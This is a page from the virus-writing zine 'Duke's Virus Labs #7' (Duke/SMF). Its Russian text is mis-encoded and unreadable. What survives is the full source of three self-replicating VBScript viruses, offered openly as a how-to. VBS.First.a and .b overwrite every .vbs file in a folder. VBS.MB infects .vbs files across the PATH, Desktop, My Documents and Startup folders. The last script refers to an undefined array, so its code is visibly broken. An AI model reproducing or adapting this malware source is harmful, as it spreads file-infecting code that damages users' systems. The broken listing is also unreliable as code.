- [Duke's Virus Labs #7] - [Page 14] -

᪮쪮 ਬ஢ VBS-ᮢ
(c) by Duke/SMF

   ⨥ "" ᥩ 㤭 - 㤨.  ⠫ 筮
뤥 .  ᫥    ᪮쪨
ᥬ ᮢ襭 , ᥫ  ⨯ ᮢ,  
ࠧ   .    Java.*, VBS.*, HTML.* , mIRC_Worm.* 
⮬  .     ਯ⮢묨 ᠬ, ..
騥   室 ⥪⮢  㥬 ⥬  
ਫ (ਬ Internet Explorer, mIRC  Windows 98 :) ⮬ 
  쭨 த⢥ BAT  macro ᮢ.

     㤨 (᫨  ᫨)   ,  㬠,
 ⠫ 祭묨 - ப ᠬ   ⭮ 祭 
( ⮫쪮 ,  ⠪  ... ).   "த⥫" ᥬ
HTML  VBS  1nternal -    ᯥ樠⮢ ஢ VX 業
 ਯ⮢ ᠬ.

    ⠪  祭    ࠧࠧ訬 ਯ⠬ ;-) ⮬ 
 ப ⥫᪨     ਯ⮢ ᥬ -
 VBS-ᠬ.

   祬   뢠 VBS ?  ⮬   ᠭ  몥
Visual Basic Script    䠩  ७ VBS. VBS 
  Microsoft - VBS-䠩  Windows 98 믮
 BAT-䠩  DOS.  ⮫쪮   Windows - 
 . ( ⫥,  Microsoft ࠡ⠥ ᯥ樠쭮 
ଥ஢.  ᮧ --쪮   !  ਫ
Office  ᨩ, Internet Explorer, Windows 98...  ঠ ! ;-)))

    VBS- ᠫ Lord Natas/CB.  稫  Rabbit 
᢮ .   ⮬,     뫨 BAT-  
.  뫨  ࠩ.     뫨 宦 :

===== begin vbs_1.vbs =====
Set WshShell = Wscript.CreateObject("Wscript.Shell")
CP = WshShell.ExpandEnvironmentStrings("%COMSPEC%")
WshShell.Run (CP & " /c for %%v in (*.vbs) do copy /y " & Wscript.ScriptFullName & " %%v>nul"), vbHide
'VBS.First.a by Duke/SMF
===== end   vbs_1.vbs =====

   ⠪ :

===== begin vbs_2.vbs =====
Set WshShell = Wscript.CreateObject("Wscript.Shell")
Set WshSysEnv = WshShell.Environment("Process")
CP = WshSysEnv("comspec")
WshShell.Run (CP & " /c for %%v in (*.vbs) do copy /y " & Wscript.ScriptFullName & " %%v>nul"), vbHide
'VBS.First.b by Duke/SMF
===== end   vbs_2.vbs =====

  ,   ࠧ묨 ᯮᮡ  ६
㦥.

      ᪮쪮 ,   ਬ  VBS-.

ᨢ 室 ⠫:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
   Sub RecursiveFolderScan(TheFolder)
     Dim MoreFolders, TempFolder
     ' <= 祣- ⢮  ⮩ ४ਨ
     Set MoreFolders =  FSO.GetFolder(TheFolder).SubFolders
     For Each TempFolder In MoreFolders
       RecursiveFolderScan TempFolder
     Next
   End Sub


ॡ ᪮:
~~~~~~~~~~~~~~~
     CD, ⮬  ஢ ⨯ ᪠ DriveType.

   Dim DriveList, Drive
   Set FSO = CreateObject("Scripting.FileSystemObject")
   Set DriveList = FSO.Drives
   For Each Drive in DriveList
     If Drive.DriveType = 2 Or Drive.DriveType = 3 then RecursiveFolderScan Drive & "\"
   Next


     ⥫  । ࠧ᪨ VBS-, ࠦ騩
VBS-䠩  ⠫ ६ 㦥 PATH  ⥪饩 ४ਨ,
 ⠪  ⥬ ⠫ Desktop, MyDocuments ( ᠫ 
⮬  ࠡᯮᮡ  ᥬ  :))  Startup.
 ஡ ⪮஢ 室 ⥪, ⮡ 뫮 ⭮ ᥬ 
  諮 ᪠뢠  ਭ樯 ࠡ . ⠩ ਨ,
ᯥ६ ... enjoy  ᫮ ;-)

===== begin vbs_mb_c.vbs =====
'^
On Error Resume Next
Dim FSO, Vir, SI
Dim Bug(200)                         'ᨢ  ப  ᯨ᪠ ⠫
Dim TP                               '⥪  祩  ᨢ

Set WSHShell = Wscript.CreateObject("Wscript.Shell")
Set WshSysEnv = WSHShell.Environment("Process")
MB11 = WshSysEnv("Path")                       '६ 㦥 PATH
Set FSO = CreateObject("Scripting.FileSystemObject")
FN = Wscript.ScriptFullName                    '  ⥪饣 䠩

'  ᨢ Bug  ᯨ᪮ ⠫ 
' SI - ᨬ
TP = 1
For x = Len(MB11) To 1 Step -1
   SI = Mid(MB11, x, 1)
   If SI <> ";" Then
     Bug(TP) = SI + Bug(TP)
   ElseIf SI = ";" Then
     Bug(TP) = Bug(TP) + "\"
     TP = TP + 1
   End If
Next
Bug(TP) = Bug(TP) + "\"
Bug(TP + 1) = WSHShell.SpecialFolders("Desktop") + "\"
Bug(TP + 2) = WSHShell.SpecialFolders("MyDocuments") + "\"
Bug(TP + 3) = WSHShell.SpecialFolders("Startup") + "\"
Bug(TP + 4) = Left(FN, InStrRev(FN, "\"))

'Buf -   ⥫ 
'Met - ⪠ 砫 
'Vir -  
Set TS = FSO.OpenTextFile(FN, 1)      '뫨  ⥭ 䠩  ᮬ
Buf = TS.ReadAll                      '⠫ 䠩  Buf
TS.Close                              '뫨 䠩
Met = Chr(94)                         '⪠  ஢ન
endMet = "'" & Met                    ' 砫쭠 ⪠
For x = Len(Buf) To 1 Step -1         '稭   ஢塞 Buf
   If Mid(Buf, x, 1) = Met Then       '᫨ 諨  ⪨,   뤥
      x = 1
      Vir = endMet + Vir
   ElseIf Mid(Buf, x, 1) <> Met Then  '᫨  ⪨  諨,  塞
      Vir = Mid(Buf, x, 1) + Vir      '⥪騩 ᨬ  ⥫ 
   End If
Next

'TS   - ࠦ 䠩
'Body - ⥫ 
For y = 1 To (TP + 4)                                      'ॡ ᯨ᪠ ⠫
   For Each Target In FSO.GetFolder(MB5(y)).Files          'ॡ  䠩  ⠫
   If UCase(Right(Target.Name, 3)) = "VBS" Then            '᫨ *.VBS
      Body = ""
      Set TS = FSO.OpenTextFile(MB5(y) & Target.Name, 1)   '뫨  ⥭
      Body = TS.ReadAll                                    '⠫ ⥫ 
      TS.Close                                             '뫨 
      If mid(Body,len(Body),1) <> "F" Then                 '஢塞   ࠦ
        Set TS = FSO.OpenTextFile(MB5(y) & Target.Name, 8) '뫨  
        TS.Write Vir                                       'ᠫ 
        TS.Close                                           '뫨 
      End If
   End If
   Next
Next
'VBS.MB by Duke/SMF
===== end   vbs_mb_c.vbs =====
